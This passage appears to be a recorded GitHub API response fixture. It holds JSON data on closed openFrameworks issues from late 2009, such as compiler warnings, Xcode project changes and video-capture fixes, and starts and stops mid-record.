broken","labels":[],"closed_at":"2009-12-08T18:21:09Z","created_at":"2009-12-07T02:52:58Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":93351,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T15:14:45Z","body":"these are warnings I'm seeing in compiling 0.065\n\nneed a newline in the 3d model load code somewhere. \n..\\..\\..\\addons\\ofx3DModelLoader\\src\\ofx3DBaseLoader.h|16|warning: no newline at end of file\n\naddons\\ofxOsc\\src\\ofxOscMessage.cpp|92|warning: converting to `int32_t' from `float'|\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/83","comments":10,"milestone":null,"number":83,"html_url":"https://github.com/openframeworks/openFrameworks/issues/83","assignee":null,"title":"small warnings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2011-12-02T15:14:45Z","created_at":"2009-12-07T02:34:57Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":93347,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-09T01:45:20Z","body":"(win cb):\n\n-- libs\\openFrameworksCompiled\\project should have only win_cb\n\n-- scripts should have just win_cb (and we should make it work with win_cb)\n\n-- remove cb_build_runner.sh script from all examples (this is for linux)\n\n-- remove all .gitignore files... (inside empty data folders)\n\n-- remove linux specific workspace files \n\n-- remove _win_cb from name and inside of workspace files\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/82","comments":4,"milestone":null,"number":82,"html_url":"https://github.com/openframeworks/openFrameworks/issues/82","assignee":null,"title":"changes to the packaging script","labels":[],"closed_at":"2009-12-09T01:45:20Z","created_at":"2009-12-07T02:31:35Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":93346,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-07T02:07:55Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/81","comments":1,"milestone":null,"number":81,"html_url":"https://github.com/openframeworks/openFrameworks/issues/81","assignee":null,"title":"xcode projects should be renamed to the folder name. ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"closed_at":"2009-12-07T02:07:55Z","created_at":"2009-12-07T02:06:57Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":93338,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-07T02:13:59Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/80","comments":1,"milestone":null,"number":80,"html_url":"https://github.com/openframeworks/openFrameworks/issues/80","assignee":null,"title":"ofxXmlSettings has a printf(tag.c_str()); xcode complains","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"}],"closed_at":"2009-12-07T02:13:59Z","created_at":"2009-12-07T01:35:24Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":93332,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-07T02:09:18Z","body":"the project files still contain links to these files. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/79","comments":2,"milestone":null,"number":79,"html_url":"https://github.com/openframeworks/openFrameworks/issues/79","assignee":null,"title":"remove ofStandardFirmata files from all projects.","labels":[],"closed_at":"2009-12-07T02:09:18Z","created_at":"2009-12-06T20:44:50Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":93192,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-06T20:50:25Z","body":"\r\nfix this with single buffering on win32 and some smart window resized code.... ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/78","comments":1,"milestone":null,"number":78,"html_url":"https://github.com/openframeworks/openFrameworks/issues/78","assignee":null,"title":"ofSetBackgroundAuto(false) on pc is bad news ","labels":[],"closed_at":"2009-12-06T20:50:25Z","created_at":"2009-12-06T20:42:15Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":93190,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-07T00:20:50Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/77","comments":2,"milestone":null,"number":77,"html_url":"https://github.com/openframeworks/openFrameworks/issues/77","assignee":null,"title":"remove copy files phase for info.plist in xcode","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"closed_at":"2009-12-07T00:20:50Z","created_at":"2009-12-06T20:37:50Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":93185,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-06T20:40:08Z","body":"this is so cocoa apps and other apps that have BOOL defines don't need FreeImage hacked","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/76","comments":1,"milestone":null,"number":76,"html_url":"https://github.com/openframeworks/openFrameworks/issues/76","assignee":null,"title":"FreeImage.h -> move BOOL typedefs etc to #defines and do #undef at the end","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"closed_at":"2009-12-06T20:40:08Z","created_at":"2009-12-06T20:21:25Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":93179,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=36&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4960'), ('content-length', '23511'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"dd46a4e94f2297cba6d3d87f894c66fa"'), ('date', 'Tue, 29 May 2012 18:46:57 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2009-12-06T19:12:10Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/75","comments":1,"milestone":null,"number":75,"html_url":"https://github.com/openframeworks/openFrameworks/issues/75","assignee":null,"title":"close / destroy window on win32 needs fixing...","labels":[],"closed_at":"2009-12-06T19:12:10Z","created_at":"2009-12-06T19:08:24Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":93147,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-07T00:21:04Z","body":"in xcode if you have libSomething.a and xcode finds a system version of the lib it will include the system version which causes mad problems if you try and give your app to someone. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/74","comments":1,"milestone":null,"number":74,"html_url":"https://github.com/openframeworks/openFrameworks/issues/74","assignee":null,"title":"os x - change all libSomething.a to be something.a ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"closed_at":"2009-12-07T00:21:04Z","created_at":"2009-12-06T16:47:57Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":93093,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-06T16:46:03Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/73","comments":2,"milestone":null,"number":73,"html_url":"https://github.com/openframeworks/openFrameworks/issues/73","assignee":null,"title":"CreEPS 2.0 ( with MIT ) ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"}],"closed_at":"2009-12-06T16:46:03Z","created_at":"2009-12-06T16:42:04Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":93092,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-06T16:46:19Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/72","comments":1,"milestone":null,"number":72,"html_url":"https://github.com/openframeworks/openFrameworks/issues/72","assignee":null,"title":"Update to CreEPS 2.0 - has MIT license and new stuff!","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"}],"closed_at":"2009-12-06T16:46:19Z","created_at":"2009-12-06T16:22:45Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":93088,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-06T15:54:47Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/71","comments":1,"milestone":null,"number":71,"html_url":"https://github.com/openframeworks/openFrameworks/issues/71","assignee":null,"title":"remove ofV4lUtils ","labels":[],"closed_at":"2009-12-06T15:54:47Z","created_at":"2009-12-06T15:30:57Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":93077,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-06T18:34:22Z","body":"feel like the typedef should be in ofxVec3f / 2f etc and have the ofxPoint headers just have the warnings. right now if we remove the ofxPoint files we lose the typedef ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/70","comments":2,"milestone":null,"number":70,"html_url":"https://github.com/openframeworks/openFrameworks/issues/70","assignee":null,"title":"look at ofxPoint warnings - super annoying","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"}],"closed_at":"2009-12-06T18:34:22Z","created_at":"2009-12-06T14:40:08Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":93071,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-06T18:59:57Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/69","comments":2,"milestone":null,"number":69,"html_url":"https://github.com/openframeworks/openFrameworks/issues/69","assignee":null,"title":"remove ofStandardFirmata stub files","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"closed_at":"2009-12-06T18:59:57Z","created_at":"2009-12-06T14:37:24Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":93070,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-06T14:52:40Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/68","comments":1,"milestone":null,"number":68,"html_url":"https://github.com/openframeworks/openFrameworks/issues/68","assignee":null,"title":"change linux videograbber to gstreamer","labels":[],"closed_at":"2009-12-06T14:52:40Z","created_at":"2009-12-06T14:32:58Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":93069,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-06T18:58:25Z","body":"is this meant to be there?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/67","comments":1,"milestone":null,"number":67,"html_url":"https://github.com/openframeworks/openFrameworks/issues/67","assignee":null,"title":"ofxOpenCv addon example app has a printf with ofGetFrameRate at end of update","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"}],"closed_at":"2009-12-06T18:58:25Z","created_at":"2009-12-06T14:16:20Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":93066,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-06T18:01:03Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/66","comments":1,"milestone":null,"number":66,"html_url":"https://github.com/openframeworks/openFrameworks/issues/66","assignee":null,"title":"ofAppGlutWindow - frameRate set to 0.0 in startup should be set to 60.0","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"closed_at":"2009-12-06T18:01:03Z","created_at":"2009-12-06T13:16:10Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":93060,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-06T11:09:30Z","body":"this is a request from kyle on the forums....\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/65","comments":0,"milestone":null,"number":65,"html_url":"https://github.com/openframeworks/openFrameworks/issues/65","assignee":null,"title":"ofxOpenCv - convertToPlanarImage(...) for one channel (ie, grabbing just sautration)","labels":[],"closed_at":"2009-12-06T11:09:30Z","created_at":"2009-12-06T11:05:43Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":93046,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-05T21:36:03Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/64","comments":1,"milestone":null,"number":64,"html_url":"https://github.com/openframeworks/openFrameworks/issues/64","assignee":null,"title":"fix ofImage for latest freeImage ( flip bug in early freeimage library )","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"closed_at":"2009-12-05T21:36:03Z","created_at":"2009-12-05T21:27:12Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":92827,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-05T19:17:36Z","body":"no need for convert pixels for intel machines - should be a LOT faster. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/63","comments":1,"milestone":null,"number":63,"html_url":"https://github.com/openframeworks/openFrameworks/issues/63","assignee":null,"title":"ofVideoPlayer and ofVideoGrabber on OS X Intel not using k24RGBPixelFormat","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"closed_at":"2009-12-05T19:17:36Z","created_at":"2009-12-05T16:48:19Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":92724,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-05T19:37:54Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?p=14615#p14615","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/62","comments":1,"milestone":null,"number":62,"html_url":"https://github.com/openframeworks/openFrameworks/issues/62","assignee":null,"title":"update the quicktime settings dialog so that PS3 eye panel shows up. ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"closed_at":"2009-12-05T19:37:54Z","created_at":"2009-12-05T16:47:17Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":92722,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-05T20:57:50Z","body":"videoInput has this. \r\nQT needs SGSetFrameRate \r\nGstreamer has this. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/61","comments":1,"milestone":null,"number":61,"html_url":"https://github.com/openframeworks/openFrameworks/issues/61","assignee":null,"title":"add setFrameRate for ofVideoGrabber","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"closed_at":"2009-12-05T20:57:50Z","created_at":"2009-12-05T16:45:44Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":92721,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-07T02:08:44Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/60","comments":2,"milestone":null,"number":60,"html_url":"https://github.com/openframeworks/openFrameworks/issues/60","assignee":null,"title":"check projects for references to .cpp of inlined ofxVectorMath - breaks on CB win32","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"}],"closed_at":"2009-12-07T02:08:44Z","created_at":"2009-12-05T14:57:17Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":92702,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-05T14:09:50Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/59","comments":0,"milestone":null,"number":59,"html_url":"https://github.com/openframeworks/openFrameworks/issues/59","assignee":null,"title":"ofxOpenCv - add brightness contrast to grayscale image","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"}],"closed_at":"2009-12-05T14:09:50Z","created_at":"2009-12-05T14:00:07Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":92680,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-07T02:17:52Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=4&t=2599&hilit=snow+leopard\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=4&t=2749&p=14925","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/58","comments":1,"milestone":null,"number":58,"html_url":"https://github.com/openframeworks/openFrameworks/issues/58","assignee":null,"title":"snow leopard fixes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"closed_at":"2009-12-07T02:17:52Z","created_at":"2009-12-04T19:40:06Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":92434,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-05T14:59:12Z","body":"internally use void * ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/57","comments":1,"milestone":null,"number":57,"html_url":"https://github.com/openframeworks/openFrameworks/issues/57","assignee":null,"title":"ofTexture float *, char *, short * ","labels":[],"closed_at":"2009-12-05T14:59:12Z","created_at":"2009-12-04T19:19:36Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":92426,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-05T15:23:15Z","body":"just so you can access getTexture getPixels... for images, cvImages, videos... from at the same time","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/56","comments":0,"milestone":null,"number":56,"html_url":"https://github.com/openframeworks/openFrameworks/issues/56","assignee":null,"title":"ofBaseImage so ofBaseVideo and images have the same inheritance base","labels":[],"closed_at":"2009-12-05T15:23:15Z","created_at":"2009-12-04T19:13:45Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":92423,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-07T01:55:14Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/55","comments":1,"milestone":null,"number":55,"html_url":"https://github.com/openframeworks/openFrameworks/issues/55","assignee":null,"title":"max optimization settings - check xcode","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"closed_at":"2009-12-07T01:55:14Z","created_at":"2009-12-04T19:08:47Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":92420,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-05T17:19:35Z","body":"\r\n\r\nas they are so similar, this would make sense. Also, we should test it versus new baud rate and any other changes that have been made to firmata recently. \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/54","comments":0,"milestone":null,"number":54,"html_url":"https://github.com/openframeworks/openFrameworks/issues/54","assignee":null,"title":"combine ofStdFirmata and ofArduino","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"closed_at":"2009-12-05T17:19:35Z","created_at":"2009-12-04T18:48:58Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":92409,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-05T21:14:57Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/53","comments":1,"milestone":null,"number":53,"html_url":"https://github.com/openframeworks/openFrameworks/issues/53","assignee":null,"title":"ofVideoPlayer - crash with setSpeed / setPos before play()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"closed_at":"2009-12-05T21:14:57Z","created_at":"2009-12-04T18:43:09Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":92405,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-05T19:42:35Z","body":"see: http://github.com/memo/openFrameworks/commit/d8a29d400bdf61cfcc45056a9eb8665fd92d7b09","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/52","comments":2,"milestone":null,"number":52,"html_url":"https://github.com/openframeworks/openFrameworks/issues/52","assignee":null,"title":"memo's texture stuff - ofSetTextureWrap & 